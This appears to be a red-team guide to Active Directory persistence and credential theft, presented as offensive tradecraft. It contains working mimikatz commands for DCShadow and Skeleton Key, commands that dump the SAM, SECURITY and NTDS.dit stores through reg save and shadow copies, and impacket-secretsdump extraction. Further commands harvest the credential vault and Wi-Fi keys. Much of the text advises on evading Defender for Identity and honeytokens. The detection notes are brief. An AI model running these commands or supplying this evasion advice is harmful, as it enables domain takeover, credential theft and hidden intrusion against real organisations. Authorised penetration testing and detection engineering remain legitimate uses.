DCShadow registers a rogue DC and pushes arbitrary attribute changes through normal replication traffic. Because other DCs trust the replication, you can modify objects, add SID history, or alter ACLs without generating event logs on the real DCs. The cost: you need both DA rights and SYSTEM on your attacking machine, so this is purely persistence, not escalation.

# Terminal 1: register as rogue DC and stage changes
mimikatz# lsadump::dcshadow /object:targetuser /attribute:primaryGroupId /value:512
# Terminal 2: push replication
mimikatz# lsadump::dcshadow /push

Skeleton Key patches LSASS on a DC so a master password (default: mimikatz) works alongside every user's real password. It requires admin on the DC, doesn't survive a reboot, and fails entirely when Credential Guard is enabled (credential material is isolated in LSAIso). On DCs without Credential Guard it's still viable, but fragile.

mimikatz# privilege::debug
mimikatz# misc::skeleton
# Test: net use \\dc01\c$ /user:CORP\administrator mimikatz

Detection: MDI catches both: rogue DC registration and suspicious replication for DCShadow; LSASS anomaly detection and Kerberos RC4 downgrade for Skeleton Key. Without MDI, monitor for new nTDSDSA objects in CN=Sites (Configuration partition) and correlate DRS RPC traffic against known DC IPs.

With any combination of these in place, you're dug in. Password resets, patched vulns, even discovering your initial entry point won't lock you out. But none of it matters if the blue team sees you coming.

OPSEC: Not Getting Caught

Everything above assumes you don't get caught doing it. In practice, that's the hardest part. Modern detection stacks, especially Defender for Identity (MDI), are watching for exactly these techniques. Here's what I think about on red team engagements.

What MDI Detects (and Doesn't)

MDI is good. It catches:

• DCSync attempts (monitors replication traffic from non-DC sources)
• Golden ticket usage (anomalous TGT lifetimes and encryption types)
• Kerberoasting at volume (lots of TGS requests in a short window)
• LDAP enumeration (SharpHound's LDAP query pattern is signatured by default. Note: this is a network-level detection on the LDAP queries themselves - recompiling the binary does NOT change the queries MDI sees. To reduce this footprint, use targeted collection methods (-c DCOnly), add delays with --jitter, or break collection into multiple smaller runs)
• Brute force and password spray patterns
• Pass-the-Hash/Pass-the-Ticket in many cases
• DCShadow (rogue DC registration)
• Skeleton Key (LSASS anomalies)
• Silver ticket usage against DC-hosted services (AP-REQ analysis on DCs where MDI sensors live - silver tickets against member servers are NOT detected)
• ACL modifications on protected/sensitive objects (Domain Admins, AdminSDHolder, domain root, GPOs - not all ACL changes domain-wide)

What it's weaker on:

• Targeted Kerberoasting (MDI's "unusual account requesting service ticket" detection can now flag even single TGS requests from accounts with no SPN history, narrowing this gap - but accounts with legitimate Kerberos traffic can still blend in targeted requests)
• ADCS attacks (as of early 2026, MDI covers ESC8, ESC15, enrollment anomalies, and some PKINIT abuse - but ESC2-4, ESC9-11 enrollment-phase attacks still lack dedicated alerts. Coverage is expanding quarterly)
• Constrained delegation abuse (MDI has partial S4U detection for impersonation of sensitive accounts since late 2024, but traditional constrained delegation traffic is still hard to distinguish from legitimate use)
• Slow password sprays that stay under threshold

The takeaway: be surgical.

Request one Kerberos ticket, not every SPN in the domain. Use ACL-based attack paths instead of noisy credential attacks when the option exists. If you can get where you need to go through DACLs and group membership changes, that's almost always quieter than hammering Kerberos or spraying passwords. MDI is tuned for volume and known patterns, though it also builds behavioral baselines per entity and correlates signals across Defender XDR, so anomalies in lateral movement or privilege changes can surface even without a signature match. Stay under the thresholds, avoid the signatures, and keep your activity consistent with the compromised account's historical behavior, and you can significantly reduce your exposure - though don't treat silence as proof you're undetected.

Honeypot Accounts

Good defenders deploy honeypot accounts that look like easy targets: service accounts with SPNs, admin accounts with old passwords, shares with "passwords" in the name. If you Kerberoast the wrong service account, you've just announced yourself.

Critical warning: MDI honeytokens trigger a high-severity alert on the first direct interaction - a single TGS request for its SPN, an authentication attempt, or a targeted LDAP query of its attributes. There is no threshold, no grace period. Bulk LDAP enumeration that happens to return the honeytoken in results (like Get-ADUser -Filter *) does not trigger it - MDI only fires when something specifically targets that account. If the org is running MDI with honeytoken tagging, directly interacting with the wrong account once is game over. The checks below help you decide which accounts to avoid entirely, not which ones you can safely probe.

How to spot them (or at least try):

• Check the account creation date and last logon. A "service account" created last week that's never logged in is suspicious.
• Look at the account's group memberships and actual usage. Honeypots tend to look important but have no real activity.
• Check the password last set date. If it was set very recently on what's supposed to be an old service account, that's a tell.
• Compare against real service accounts. Real ones have logon history, SPNs that match actual services, and descriptions that reference real systems.

You can't always tell. Good honeypots are indistinguishable from real accounts. That's the point. But lazy honeypots stand out if you're paying attention.

That said, the newer deception platforms (MDI included) are getting smarter about this. They'll create accounts with realistic logon histories and proper SPNs that actually look like they belong to real services. The basic checks still catch the lazy implementations where someone manually created a "svc_backup" account last Tuesday with no history, but don't assume every honeypot is obvious. If the org is running MDI's deception capabilities, those accounts can be genuinely hard to distinguish from the real thing.

Credential Access Without LSASS

Dumping LSASS is the classic move, but it's also the most detected. Every EDR on the planet watches for LSASS access. Alternatives:

• DPAPI: Windows stores credentials (saved passwords, browser creds, WiFi keys) encrypted with DPAPI. If you have the user's password or the DPAPI master key, you can decrypt everything without touching LSASS.
• SAM hive: local account hashes live in the SAM registry hive. You can dump it with reg save or from Volume Shadow Copies.
• LSA secrets: service account credentials, auto-logon passwords, and other secrets stored in the registry.
• NTDS.dit: the AD database file on DCs. If you can grab a copy (via Volume Shadow Copy or NTDSUTIL), you've got every hash in the domain without running DCSync.

# Dump SAM and LSA secrets without LSASS
# Registry-based approach
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

# Extract hashes offline
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

# NTDS.dit via Volume Shadow Copy on a DC
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.save

# Extract offline
impacket-secretsdump -ntds ntds.dit -system system.save LOCAL

Those are the clean approaches. But real engagements don't go that smoothly, so here's the fallback chain I actually work through when things get blocked.

If procdump gets flagged (and it will, on anything with a recent EDR signature), the low-tech fallback is Task Manager: right-click lsass.exe, "Create dump file." It writes to %TEMP% and doesn't need command-line tools. Caveat: RunAsPPL (LSA Protection), which ships enabled on fresh installs of Windows 11 23H2+ and enterprise-joined devices, blocks this too. Upgraded systems usually don't have it unless someone turned it on manually, which is a gap you'll find more often than you'd expect. If you're on a recent workstation, both procdump and the Task Manager method are dead ends. You need the registry or NTDS.dit approaches above, or you pivot to credentials that aren't in LSASS at all.

Beyond these core methods, there are other credential sources worth knowing about. The Windows Credential Vault (vaultcmd /listcreds:"Windows Credentials" /all) stores saved RDP and web credentials. Chrome's Login Data SQLite database and Wi-Fi PSKs (netsh wlan show profile name="CorpWiFi" key=clear) are also reachable, though Chrome v80+ requires DPAPI decryption of the encryption key first. Tools like LaZagne automate harvesting across these sources, but as of 2026 it's signatured by every major EDR. For low-privilege scenarios, reg save HKCU exports the current user's hive for offline analysis, and psr.exe /gui 0 silently captures screenshots on every click. These are situationally useful but niche compared to the four core methods above.

Detection: Event 4656/4663 for SAM hive access (requires Object Access auditing enabled on HKLM\SAM and HKLM\SECURITY via GPO - not on by default). Event 4688 with vssadmin create shadow arguments for NTDS.dit extraction. reg save operations on HKLM\SAM or HKLM\SECURITY from non-standard processes.